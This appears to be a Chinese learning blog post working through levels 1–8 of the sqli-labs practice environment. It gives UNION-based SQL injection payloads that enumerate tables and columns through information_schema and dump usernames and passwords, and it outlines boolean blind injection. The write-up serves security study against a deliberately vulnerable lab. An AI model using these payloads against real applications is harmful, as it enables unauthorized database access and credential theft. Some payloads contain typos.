【SQL注入实操】sql-lib的1-8道题

目录

sql注入中的数字型和字符型注入的区分

数字型

字符型

less1

sql注释符

less-2

less-3

less-4

less-5

less-6

less-7

less-8

备注


sql注入中的数字型和字符型注入的区分

  • 数字型

select email from member where id=$id

其中 $id 为 我们输入的值 ,当输入1,2,3正常数字 ,正常返回,但是如果 输入 1 or 1=1 则为永真,即:

select email from member where id=1 or 1=1

  • 字符型

select email from member where id=‘$id’

其中 $id 为 我们输入的值 ,当输入1,2,3正常数字 ,正常返回,但是如果 输入 1 or 1=1 即:

select email from member where id='1 or 1=1'引起数据报错

因此,

select email from member where id=' ' or 1=1 # '又永久为真

less1

首先输入?id=1发现无论2还是3,都能正确显示内容

然后输入?id=1',发现回显错误(也可以输入?id=1\)

再输入

?id=1'--+(+号是为了与后面注释内容插入一个空格,空格在url中用+代替)

回显正常

这里也可以使用 ?id=1'#,回显正常即可,但是这里#貌似不起作用,可能是数据库对#和--要求不同,

这里发现一个很有意思的东西,当我输入中文的单引号,再加上#时,回显正常(这里有点疑惑,不会识别中文字符,而且#注释的是后面的语句。甚至输入两个中文引号也不会报错)

所以是字符型注入

尝试查询,先查询列数

爆出显示位,使用联合查询?id=-1'union select 1,2,3 --+

所以第2,3列显示在页面

再爆库名和版本名

?id=-1'union select 1,database(),version()--+

爆表

information_schema.tables表示该数据库下的tables表,点表示下一级

information_schema.columns表示该数据库下的columns表,点表示下一级

group_concat()是将查询到结果连接起来,再显示在同一行

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

table_schema字段内容是security的所有table_name的内容

密码肯定在users表中,爆列

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

敏感字段user,password

?id=-1' union select1,2,group_concat(username ,id , password) from users--+

?id=-1' union select1,group_concat(username),group_concat(password) from users--+

查询

sql注释符

/*
第一行注释内容
第二行注释内容
*/

less-2

数字型注入

?id=1'和?id=1'--+或者?id=1'#都报错时

?id=1有回显

可判定数字型注入

方法同上:

?id=1 order by 3

?id=-1 union select 1,2,3

?id=-1 union select 1,database(),version()

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

?id=-1 union select 1,2,group_concat(username ,'is' , password) from users

less-3

尝试?id=1'后发现报错

所以需要将后面的'和)闭合才能正确显示

所以?id=1''(

开始爆破,同上:

?id=-1''( order by 3回显正常

?id=-1''( union select 1,2,3 发现回显消失

后面按照正常做,发现不会回显我们想要的内容

后面翻了很多文章,发现我理解错了,我们来重新看这个

1’是我们输入的内容,目的是为了闭合前面的‘号,后面剩下'),其中)的出现肯定是因为先前的语句中有(,所以我们需要将它闭合,然后直接将后面的')注释

如下:

?id=1')--+

我们也可以先将后面的'闭合,再闭合前面的( 还是需要注释后面的,事实上不注释也可以)

?id=1'')--+

开始继续下面的爆破

?id=-1') union select 1,2,3 --+

?id=-1') union select 1,database(),version() --+

后面省略

less-4

?id=1'''

发现无论多少个'都能够回显

原因是双引号,'都无法起作用

双引号注入

?id=1"

和上题类似,有括号

?id=1")--+

(这里我发现url对"也不会编码)

继续爆破同上题

less-5

单引号注入

这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位

所以这是布尔盲注

注入点符合 and 1--+ 正常显示

and 0--+ 异常或者空显示

?id=1'and length(查询语句)=--+

使用length(),ascii() ,substr()这三个函数

首先通过length()函数确定长度(依次爆破库名,group_concat表名,列名,字段名)

再通过另外两个确定具体字符是什么

  • substr()一个一个字母的截
  • ascii()转义字母为数字爆破出来

这里很浪费时间,也可以写脚本?或者用工具(sqlmap) 

less-6

双引号注入

less-7

?id=1

?id=1'

?id=1”

数字不报错,单引号报错,双引号不报错,所以是单引号注入漏洞。

注释后面语句,发现还报错。。。

测试一下有没有括号

?id=1')--+ 报错

双括号

ok,像前面的布尔盲注一样,。。。先这样,再这样,最后这样就做完了。

less-8

ok啊,随便乱输,没有报错信息

?id=1'--+

单引号布尔盲注,和前面差不多。

备注

本人水平尚浅,学习中---更新中--- 

  • 26
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值